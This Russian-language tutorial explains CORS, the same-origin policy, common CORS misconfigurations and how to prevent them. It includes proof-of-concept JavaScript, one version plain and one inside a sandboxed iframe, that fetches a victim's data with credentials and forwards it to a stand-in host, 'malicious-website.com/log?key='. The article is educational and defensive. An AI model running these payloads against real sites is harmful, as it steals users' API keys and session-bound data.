Что такое CORS (Cross-origin resource sharing)
Что такое CORS (Cross-origin resource sharing)
Совместное использование ресурсов между источниками CORS — это механизм браузера, обеспечивающий контролируемый доступ к ресурсам, расположенным за пределами данного домена. Он расширяет и добавляет гибкости политике единого источника (SOP). Однако это также создаёт потенциал для междоменных атак, если политика CORS веб-сайта плохо настроена и реализована. CORS не является защитой от атак из разных источников, такие как подделка межсайтовых запросов (CSRF)
Политика единого источника
Политика единого источника — ограничительная спецификация для разных источников, ограничивающая возможность веб-сайта взаимодействовать с ресурсами за пределами исходного домена. Политика единого источника была определена много лет назад в ответ на потенциально вредоносные междоменные взаимодействия, например, когда один веб-сайт крадёт личные данные с другого. Обычно это позволяет домену отправлять запросы к другим доменам, но не получать доступ к ответам.
Узнать больше о Политике единого источника можно в статье SOP: Что такое Same-origin policy
Ослабление политики единого источника
Политика единого источника очень сильно ограничивает, и поэтому были разработаны различные подходы для обхода ограничений. Многие веб-сайты взаимодействуют с поддоменами или сторонними сайтами таким образом, что требуется полный доступ из разных источников. Контролируемое ослабление политики единого источника возможно с помощью совместного использования ресурсов между источниками (CORS).
Протокол совместного использования ресурсов между источниками использует набор HTTP заголовков определяющих доверенные веб-источники и связанные с ними свойства, например, разрешён ли доступ с проверкой подлинности. Они объединяются в обмене заголовками между браузером и веб-сайтом из другого источника, к которому он пытается получить доступ.
Уязвимости возникающие из-за проблем с конфигурацией CORS
Многие современные веб-сайты используют CORS для разрешения доступа из поддоменов и доверенных третьих лиц. Их реализация CORS может содержать ошибки или быть чрезмерно мягкой, чтобы гарантировать, что всё работает, и это может привести к уязвимостям, которые могут использовать злоумышленники.
Генерируемый сервером заголовок ACAO из указанного клиентом заголовка Origin
Некоторым приложениям необходимо предоставлять доступ к ряду других доменов. Ведение списка разрешённых доменов требует постоянных усилий, и любые ошибки могут нарушить функциональность. Таким образом, некоторые приложения выбирают простой путь, эффективно разрешая доступ из любого другого домена.
Один из способов сделать это — прочитать заголовок Origin из запросов и включить заголовок ответа, указывающий, что запрашивающий источник разрешён. Например, рассмотрим приложение, которое получает следующий запрос:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
Затем оно отвечает:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
Эти заголовки указывают, что доступ разрешён из запрашивающего домена (malicious-website.com
) и что запросы между источниками могут включать файлы cookie (Access-Control-Allow-Credentials: true
) и поэтому будут обрабатываться в сеансе.
Поскольку приложение отображает произвольные источники в заголовке Access-Control-Allow-Origin
, это означает, что абсолютно любой домен может получить доступ к ресурсам из уязвимого домена. Если ответ содержит какую-либо конфиденциальную информацию, такую как API ключ или CSRF токен, вы можете получить её, разместив на своём веб-сайте следующий скрипт:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
Ошибка парсинга заголовков Origin
Некоторые приложения, поддерживающие доступ из нескольких источников, делают это с помощью белого списка разрешённых источников. При получении запроса CORS указанный источник сравнивается с белым списком. Если источник состоит в белом списке, он отражается в заголовке Access-Control-Allow-Origin
, чтобы доступ был предоставлен. Например, приложение получает обычный запрос вида:
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com
Приложение сверяет предоставленный источник со своим списком разрешённых источников и, если он есть в списке, отражает источник следующим образом:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com
Ошибки часто возникают при реализации белых списков CORS origin. Некоторые организации решают разрешить доступ со всех своих поддоменов (включая будущие поддомены, которых ещё не существует). А некоторые приложения разрешают доступ из различных доменов других организаций, включая поддомены. Эти правила часто реализуются путём сопоставления префиксов или суффиксов URL, или с использованием регулярных выражений. Любые ошибки в реализации могут привести к представлению доступа е непредусмотренным внешним доменам.
Например, предположим, что приложение предоставляет доступ ко всем доменам оканчивающимся на:
normal-website.com
Злоумышленник может получить доступ, зарегистрировав домен:
hackersnormal-website.com
В качестве альтернативы предположим, что приложение предоставляет доступ ко всем доменам, начинающимся с:
normal-website.com
Злоумышленник может получить доступ, используя домен:
normal-website.com.evil-user.net
Нулевое исходное значение из белого списка
Спецификация заголовка Origin
поддерживает значение null
. Браузеры могут отправлять значение null
в заголовке Origin
в различных необычных ситуациях:
- Перенаправление между источниками.
- Запрос из сериализованных данных.
- Запрос с использованием протокола
file:
. - Запрос из разных источников в песочнице.
Некоторые приложения могут внести в белы список null
для поддержки локальной разработки приложения. Предположим приложение получает следующий запрос между источниками:
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
И сервер отвечает:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
В этой ситуации злоумышленник может использовать различные приёмы для генерации запросов между источников, содержащие null
в заголовке Origin
. Это удовлетворит белый список, что приведёт к междоменному доступу. Например, это можно сделать с помощью iframe
запроса между источниками из песочницы:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
Использование XSS через доверительные отношения CORS
Даже правильно
настроенный CORS устанавливает доверительные отношения между двумя источниками. Если веб-сайт доверяет источнику, уязвимому для межсайтового скриптинга (XSS), злоумышленник может использовать XSS для внедрения некоторого JavaScript кода, использующего CORS для получения конфиденциальной информации с сайта, который доверяет уязвимому приложению.
Учитывая следующий запрос:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
Если сервер отвечает:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
Затем злоумышленник, обнаруживший XSS уязвимость на subdomain.vulnerable-website.com
, может использовать её для получения API ключа, используя такой адрес:
https://subdomain.vulnerable-website.com/?xss=
Взлом TLS с плохо настроенным CORS
Предположим, что приложение, строго использующее HTTPS, также вносит в белый список доверенный поддомен, использующий обычный HTTP. Например, когда приложение получает следующий запрос:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...
Приложение отвечает:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
В этой ситуации злоумышленник, который может перехватить трафик пользователя-жертвы, может использовать конфигурацию CORS, для компрометации взаимодействия жертвы с приложением. Эта атака включает следующие шаги:
- Пользователь-жертва делает любой обычный HTTP-запрос.
- Злоумышленник вводит перенаправление на:
http://trusted-subdomain.vulnerable-website.com
- Браузер жертвы выполняет перенаправление.
- Злоумышленник перехватывает простой HTTP-запрос и возвращает поддельный ответ, содержащий запрос CORS, на:
https://vulnerable-website.com
- Браузер жертвы делает запрос CORS, включая источник:
http://trusted-subdomain.vulnerable-website.com
- Приложение разрешает запрос, потому что источник из белого списка. Запрошенные конфиденциальные данные возвращаются в ответе.
- Поддельная страница злоумышленника может считывать конфиденциальные данные и передавать их на любой домен, находящийся под контролем злоумышленника.
Эта атака эффективна, даже если уязвимый веб-сайт использует HTTPS, не имеет конечной точки HTTP и все файлы cookie помечены как безопасные.
Внутренняя сеть и CORS без учётных данных
Большинство атак CORS полагаются на наличие заголовка ответа:
Access-Control-Allow-Credentials: true
Без этого заголовка браузер пользователя-жертвы откажется отправлять файлы cookie, а это означает, что злоумышленник получит доступ только к не прошедшему проверку подлинности контенту, к которому он мог бы так же легко получить доступ, перейдя непосредственно на целевой веб-сайт.
Однако существует одна распространённая ситуация, когда злоумышленник может получить доступ к веб-сайту напрямую: когда он является частью внутренней сети организации и находится в пространстве частных IP-адресов. Внутренние веб-сайты часто имеют более низки стандарт безопасности, чем внешние, что позволяет злоумышленникам находить уязвимости и получать дополнительный доступ. Например, запрос между источниками в частной сети может выглядеть следующим образом:
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
И сервер отвечает:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Сервер приложений доверяет запросом ресурсов из любого источника без учёта данных. Если пользователь в пространстве частных IP-адресов получают доступ к общедоступному Интернету, то атака на основе CORS может быть выполнена с внешнего сайта, который использует браузер жертвы в качестве прокси для доступа к ресурсам внутренней сети.
Как предотвратить атаки на основе CORS
Уязвимости CORS возникают в первую очередь из-за неправильных конфигураций. Таким образом, предотвращения является проблемой конфигурации. В следующих разделах описаны некоторые эффективные средства защиты от атак CORS.
Правильная настройка запросов между источниками
Если веб-ресурс содержит конфиденциальную информацию, источник должен быть правильно указан в заголовке Access-Control-Allow-Origin
.
Разрешать только доверенные сайты
Это может показаться очевидным, но источниками, указанными в заголовке Access-Control-Allow-Origin
, должны быть только доверенные сайты. В частности, динамическое отражение источников из запросов между источниками без проверки легко эксплуатируется, и его следует избегать.
Избегайте внесения null
в белый список
Избегайте использования заголовка Access-Control-Allow-Origin: null
. Вызовы ресурсов между источниками из внутренних документов и запросы в изолированной программной среде могут указывать нулевой источник. Заголовки CORS должны быть правильно определены в отношении доверенных источников для частных и общедоступных серверов.
Избегайте подстановочных знаков во внутренних сетях
Избегайте использования подстановочных знаков во внутренних сетях. Доверия только к конфигурации сети для защиты внутренних ресурсов недостаточно, когда внутренние браузеры могут получить доступ к ненадёжным внешним доменам.
CORS не заменяет политики безопасности на стороне сервера
CORS определяет поведение браузера и никогда не заменяет защиту конфиденциальных данных на стороне сервера — злоумышленник может напрямую подделать запрос из любого доверенного источника. Поэтому веб-серверы должны продолжать применять средства защиты конфиденциальных данных, такие как проверка подлинности и управление сеансами, в дополнение к правильно настроенному CORS.